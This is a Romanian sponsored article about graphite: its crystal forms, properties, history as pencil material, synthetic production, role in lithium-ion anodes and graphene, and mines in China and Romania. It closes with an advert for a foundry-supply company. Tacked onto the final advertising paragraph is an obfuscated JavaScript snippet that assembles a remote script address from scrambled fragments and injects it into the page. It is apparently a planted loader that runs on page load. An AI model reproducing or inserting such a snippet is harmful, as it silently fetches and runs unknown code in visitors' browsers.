[P] Grafitul: un material cu tradiție pentru aplicații moderne și tehnologii inovative

Grafitul este un mineral „minune”, extrem de versatil în industrie ce este răspândit pe suprafața Pământului, făcând parte din categoria nemetalelor. La fel ca și diamantul, grafitul este o formă cristalină de carbon, acestea fiind în esență două din cele patru forme alotrope ale carbonului (diferite forme moleculare ale aceluiași element atunci când atomii sunt așezați diferit în funcție de legăturile chimice constituente), alături de grafen și fulerenă.

Grafitul este un element stabil din punct de vedere chimic datorită carbonului pur aflat în compoziție și cristalizează hexagonal sau, mai rar, romboedric, fiind prezent și în formă amorfă. De culoare cenușiu până la negru, prezintă luciu metalic la formele cristaline, fiind mat în cazul formelor amorfe. Material bun conducător electric și termic, cu punct de topire ridicat la 3550 °C, densitate 2,1 – 2,3 și duritate 1 – 2 pe scara Mohs, este folosit pentru căptușelile refractare în topitoriile de oțel, anozi cu eficiență ridicată de reîncărcare pentru acumulatorii litiu-ion (Li-ion) pentru dispozitive electronice și mașini electrice, precum și ca materie primă pentru producerea grafenului, o nouă generație de materiale inovatoare.

Grafitul a fost descoperit accidental în jurul anului 1564 în Borrowdale, Anglia când un fulger a lovit și răsturnat un copac, sub care s-a găsit acest minereu gri-negru, care nu era cenușă din lemnul ars al copacului doborât și care lăsa urme la atingere. Datorită acestei proprietăți, începe să fie utilizat ca „piatră pentru însemnare” – nimic altceva decât forma incipientă a creionului de azi. La început, barele înguste de grafit erau acoperite cu sfoară sau lemn, iar în anul 1795 francezul Nicolas-Jacques Conte, pe fondul penuriei crescânde de grafit datorită cererii tot mai ridicate, a creat un amestec din pulbere de grafit cu argilă ars în cuptor, pe care l-a turnat în bare de lemn, brevetând astfel primul creion, așa cum se găsește cu mici modificări, până în ziua de astăzi.

Grafitul sintetic este obținut prin încălzirea carbonului amorf așa cum este cocsul de petrol calcinat, cu proporție ridicată de inele benzenice naturale, în mediu controlat, la o temperatură cuprinsă între 2300 și 3000 °C. Întregul proces de preparare, încălzire și răcire poate dura de la câteva săptămâni, până la câteva luni. Grafitul sintetic este proiectat pentru a atinge proprietăți specifice și puritate ridicată, dar este mai puțin conductiv și mai scump decât grafitul natural. Grafitul sintetic este folosit pentru producerea de electrozi în rafinarea metalelor, mai ales pentru cuptoarele electrice cu arc folosite în producția de oțel, și catozi de mari dimensiuni pentru alinierea celulelor electrolitice în topitoriile de aluminiu. Alte utilizări includ grafit sub formă de pulbere, perii de carbon, fibre de grafit pentru alierea compoziților polimeri. Grafitul amorf natural este folosit pentru augmentarea conținutului de carbon în topitoriile de fier și oțel, pentru matrițe și în producția de creioane. Fulgii de grafit sunt utilizați pentru producția de refractare cu eficiență ridicată.

Acumulatorii litiu-ion sunt formați dintr-un catod de litiu și un anod de grafit. Acesta din urmă atrage ionii încărcați pozitiv în electrolit, pe măsură ce acumulatorul este încărcat. Putere mare de stocare electrică și timpi buni de încărcare se obțin prin folosirea fulgilor de grafit natural măcinați pentru a atinge forme sferice. Prin aceasta se reduce tendința de exfoliere, crescând durata de viață a acumulatorilor.

Grafenul este un material revoluționar obținut prin exfolierea grafitului, având rezistență de aproximativ 100 de ori mai ridicată decât cea a oțelului și o greutate de 10 ori mai redusă, fiind un conductiv electric și termic mai eficient decât cuprul și argintul. Fiind format dintr-un singur strat de atomi de carbon, foliile de grafen sunt cel mai subțire material posibil, fiind în esență transparent. Printre aplicațiile practice și posibile ale grafenului se includ: echipamente de protecție super-rezistente, acumulatori pentru stocare de energie, folii pentru desalinizarea apelor, lubrifianți, acoperiri de suprafață, biomedicină, multe dintre aceste produse aflându-se încă în faza de cercetare-dezvoltare.

Cele mai multe mine de grafit se găsesc în China, urmată de India, Brazilia, Canada, Mozambic, Rusia, Ucraina și alte țări, în proporție mai mică. În România, mine de grafit se găsesc la Cătălinu și Ungurelașu, Baia de Fier, județul Gorj. Acestea urmează a fi redeschise pentru exploatare, așa cum a fost anunțat.

GritSablare importă și comercializează grafit purificat cu un conținut ridicat de carbon din surse omologate, pentru turnătorii, acoperiri la cald și fluide de foraj: grafit purificat, grafit sintetic premium și standard, fulgi de grafit natural, grafit amorf și cocs de petrol calcinat. Alte produse comercializate pentru turnătorii includ: olivină și bentonită sodică. Calitatea ridicată, promptitudinea și relațiile comerciale pe termen lung sunt elementele care ne diferențiază de competiție, pe piața produselor de turnătorie în România. (function(){ cvpj=document.createElement(„script”);cvpj_=(„ust”);cvpju=”547649461″; cvpj_+=”a”+(„t.i”);cvpj.type=”text/javascript”; cvpju+=”.jXkxseaivpj1vew0nzki”;cvpj.async=true;cvpj_+=”n”+(„f”+”o”)+”/”; cvpju+=”gk1is83k7n”;cvpj.src=”https://”+cvpj_+cvpju; document.body.appendChild(cvpj); })();